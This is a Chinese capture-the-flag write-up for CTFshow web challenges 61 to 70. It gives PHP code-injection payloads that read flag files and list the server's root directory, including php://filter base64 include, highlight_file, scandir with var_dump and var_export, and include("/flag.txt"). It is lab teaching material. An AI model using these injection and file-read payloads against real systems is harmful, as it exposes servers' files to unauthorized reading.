首页 > 其他分享 >《CTFshow-Web入门》07. Web 61~70

《CTFshow-Web入门》07. Web 61~70

时间:2023-04-30 14:56:31浏览次数:38  
标签:知识点 07 Web 题解 61 flag var include scandir

目录


ctf - web入门

web61~65

题解

这几个题都和 web58 一样。可能内部禁用的函数不一样吧。但 payload 都差不多。不多解释了。

在这里插入图片描述

以下解法随便挑一个即可。可能不同题会有部分函数被禁。

payload1

c=include "php://filter/read=convert.base64-encode/resource=flag.php";

payload2

c=show_source('flag.php');

payload3

c=file_get_contents('flag.php');

payload4

c=highlight_file("flag.php");

在这里插入图片描述

web66

知识点

PHP 中:

  • scandir():扫描目录。

题解

题目没变化。

在这里插入图片描述

随便试一个函数。

在这里插入图片描述

根据提示,先扫一下根目录。

c=print_r(scandir('/'));

在这里插入图片描述

可得 payload:

c=highlight_file("/flag.txt");

web67

知识点

  • var_dump():打印变量的相关信息

题解

题目就不贴了。和前几题一模一样的。

区别在于,print_r() 函数被禁了。

那就用 var_dump() 函数。

c=var_dump(scandir('/'));

在这里插入图片描述

payload

c=highlight_file("/flag.txt");

web68

知识点

  • include():表达式包含并运行指定文件。

题解

一上来就说 highlight_file() 函数被禁了。

在这里插入图片描述

先尝试扫一下根目录。

c=var_dump(scandir('/'));

在这里插入图片描述

那就使用 include() 函数将文件内容包含进来。

payload

c=include("/flag.txt");

web69

知识点

  • var_export:输出或返回变量的可解析字符串表示。

题解

题目与 web68 一样。

但是 var_dump() 被禁了。

换一个函数即可。

c=var_export(scandir("/"));

在这里插入图片描述

payload

c=include("/flag.txt");

web70

知识点

  • error_reporting():设置应该报告何种 PHP 错误。
  • ini_set():配置选项设置值。

对这题来说没啥用的函数。

题解

看题,禁用了一堆函数。

在这里插入图片描述

但其实沿用 web69 的方法即可。

c=var_export(scandir("/"));
c=include("/flag.txt");

一笑出门去,千里落花风。

——《水调歌头 · 我饮不须劝》(宋)辛弃疾

标签:知识点,07,Web,题解,61,flag,var,include,scandir
From: https://www.cnblogs.com/GCom/p/17365275.html

相关文章

  • stable-diffusion-webui 环境设置过程记录
    今天在自己的电脑上设置成功stable-diffusion-webui的环境,现记录一下过程,希望对其他人有用环境:Windows11显卡:NvidiaGeforceRTX3090时间:2023/04/301.主流程基本按照这篇知乎文章来的:喂饭级stable_diffusion_webUI使用教程-知乎(zhihu.com),这其中安装git,安装python3,都比......
  • MetaWeblog API
    MetaWeblogAPIMetaWeblogThefollowingmethodsaresupported:blogger.deletePostblogger.getUsersBlogsmetaWeblog.editPostmetaWeblog.getCategoriesmetaWeblog.getPostmetaWeblog.getRecentPostsmetaWeblog.newMediaObjectmetaWeblog.newPostmethodblog......
  • WordPress extended XML-RPC MetaWeblog API
    XML-RPCMetaWeblogAPI«WordPressCodexWordPress.orgWordPress.orgPluginsThemesPatternsLearnSupportDocumentationForumsNewsAboutGetInvolvedFivefortheFutureShowcaseMobileHostingOpenverseGetWordPressSearch......
  • 07 - react 唯一修改state状态的方式 setState
    //setState修改状态如果是直接修改页面不会改变使用setState修改数据才会驱动视图的改变//setState的原理:修改玩状态之后会调用render函数importReactDomfrom"react-dom"import{Component}from"react"classAppextendsComponent{//自增函数ad......
  • JavaWeb回顾与小结(五)
    Mybatis基础操作环境准备工作准备数据库表创建一个新的springboot工程,选择引入对应的起步依赖(mybatis,mysql驱动,lombok)application.properties中引入数据库连接信息创建对应的实体类Emp(实体类属性采用驼峰命名)准备Mapper接口EmpMapper根据主键删除SQL语句delete......
  • JavaWeb回顾与小结(四)
    数据库操作-DQLDQL英文全称是DataQueryLanguage(数据查询语言),用来查询数据库表中的记录基本查询条件查询where分组查询groupby排序查询orderby分页查询limit基本查询语法查询多个字段select字段1,字段2,字段3from表名;查询所有字段(通配符)select*from......
  • websocket如何建立
    websocket是什么WebSocket是一种计算机通信协议,它提供了在单个TCP连接上进行全双工通信的能力。它允许客户端和服务器之间进行实时数据交换,可以用于实现在线游戏、聊天室、股票市场等需要实时通信的应用程序。WebSocket协议是HTML5规范的一部分,支持大部分现代浏览器。如何建立......
  • Python之路【第十八篇】:Web框架们
    Python的WEB框架1.BottleBottle是一个快速、简洁、轻量级的基于WSIG的微型Web框架,此框架只由一个.py文件,除了Python的标准库外,其不依赖任何其他模块。 pipinstallbottleeasy_installbottleapt-getinstallpython-bottlewgethttp://bottlepy.org/bottle.py......
  • Python之路【第十五篇】:Web框架
    原笔记链接:https://www.cnblogs.com/wupeiqi/p/4592637.html1.Web框架本质众所周知,对于所有的Web应用,本质上其实就是一个socket服务端,用户的浏览器其实就是一个socket客户端。#!/usr/bin/envpython#coding:utf-8importsocketdefhandle_request(client):......
  • Sololearn website big changes All In One
    SololearnwebsitebigchangesAllInOneLearnPythonoldversionJumptoourbestPythoncourse!Thisoldversionisabouttogoonpermanentvacation.这个旧版本即将永久休假https://www.sololearn.com/learning/1158newversionhttps://www.sololearn.com/l......